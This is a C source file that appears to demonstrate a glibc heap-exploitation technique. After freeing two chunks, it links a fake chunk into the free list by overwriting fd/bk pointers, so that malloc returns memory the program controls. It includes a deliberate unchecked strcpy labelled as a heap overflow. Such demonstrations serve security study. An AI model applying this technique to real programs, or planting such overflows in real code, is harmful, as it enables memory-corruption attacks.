#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define NBINS 128
#define BINMAPSHIFT      5
#define BITSPERMAP       (1U << BINMAPSHIFT)
#define BINMAPSIZE       (NBINS / BITSPERMAP)


#define NSMALLBINS         64
#define SMALLBIN_WIDTH    MALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > 2 * SIZE_SZ)
#define MIN_LARGE_SIZE    ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

#define in_smallbin_range(sz)  \
  ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)

#ifndef offsetof
# define offsetof(type,ident) ((size_t)&(((type*)0)->ident))
#endif


#ifndef INTERNAL_SIZE_T
# define INTERNAL_SIZE_T size_t
#endif

#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))


/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1

/* extract inuse bit of previous chunk */
#define prev_inuse(p)       ((p)->mchunk_size & PREV_INUSE)


/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2

/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
 *    from a non-main arena.  This is only set immediately before handing
 *       the chunk to the user, if necessary.  */
#define NON_MAIN_ARENA 0x4

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)

struct malloc_chunk {

  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  //struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  //struct malloc_chunk* bk_nextsize;
};
  
typedef struct malloc_chunk* mchunkptr;

#define PRINT_META_CONTAIN_BKFD(p) printf("p = %p, mem = %p, p->mchunk_prev_size = %x, p->mchunk_size = %x, p->fd = %p, p->bk = %p, prev_inuse = %d\n",\
				p, ((char*)p + 2*SIZE_SZ), p->mchunk_prev_size,\
				chunksize(p), p->fd, p->bk, prev_inuse(p)) 

#define PRINT_META(p) printf("p = %p, mem = %p, p->mchunk_prev_size = %x, p->mchunk_size = %x, prev_inuse = %d\n",\
				p, ((char*)p + 2*SIZE_SZ), p->mchunk_prev_size,\
				chunksize(p), prev_inuse(p)) 
#define PRINT_LINE()	printf("\n")

struct malloc_chunk fake_chunk;
 
int main(int argc, char** argv) {
	
        void* ptr1, *ptr2, *ptr3, *ptr4, *ptr5;
        ptr1 = malloc(0x200);
        ptr2 = malloc(0x10); // Prevent merge ptr3
	ptr3 = malloc(0x200);
	ptr4 = malloc(0x10); // Prevent merge with top

	if(argc != 1)
		strcpy((char*)ptr1, argv[1]); // heap overflow

	////////////////////////////EXP/////////////////////////////////////////// 
	mchunkptr p1 = (mchunkptr) ((char*)ptr1 - 2*SIZE_SZ);
	mchunkptr p2 = (mchunkptr) ((char*)&fake_chunk);
	mchunkptr p3 = (mchunkptr) ((char*)ptr3 - 2*SIZE_SZ);
	free(ptr1);
	free(ptr3);
	
	PRINT_META_CONTAIN_BKFD(p1);
	PRINT_META_CONTAIN_BKFD(p3);

	fake_chunk.mchunk_prev_size = 0;
	fake_chunk.mchunk_size = 0x208;
	p1->bk = &fake_chunk;
	p3->fd = &fake_chunk;
	fake_chunk.fd = p1;
	fake_chunk.bk = p3;

	
	PRINT_META_CONTAIN_BKFD(p1);
	PRINT_META_CONTAIN_BKFD(p2);
	PRINT_META_CONTAIN_BKFD(p3);

	printf("first malloc = %p\n", malloc(0x200));
	ptr5 = malloc(0x200);
	printf("fake chunk = %p, ptr5 =%p\n", &fake_chunk, ptr5); 
	return 0;	
}
